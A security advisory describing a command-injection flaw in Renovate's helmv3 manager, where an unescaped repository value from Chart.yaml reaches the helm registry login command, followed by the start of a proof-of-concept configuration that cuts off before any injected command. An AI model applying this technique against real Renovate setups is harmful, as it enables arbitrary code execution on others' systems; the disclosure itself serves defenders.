Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file
Date: 2026-01
Affected: npm/renovate
Attack vector: command-injection
Category: vulnerability-disclosure
Severity: Medium
CWE: CWE-77
CVSS: 6.7 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

### Summary The user-provided string `repository` in the `helmv3` manager is appended to the `helm registry login` command without proper sanitization. ### Details Adversaries can provide a maliciously crafted `Chart.yaml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. The value for both uses of the `repository` variable in [lib/modules/manager/helmv3/common.ts](https://github.com/renovatebot/renovate/blob/b69416ce1745f67c9fc1d149738e2f52feb4f732/lib/modules/manager/helmv3/common.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022. ### PoC 1. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", customDatasources: { always: { defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json", transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'], }, }, // Register any credentials to make the manager attempt to use basic auth for the Helm registry hostRules: [ { matchHost: "charts.bitnami.com", username: "un", password: "pw", }, ], packageRules: [ { // Target of the day matchManagers: ["helmv3"], /


Mitigations:

Architectural layers (MAESTRO):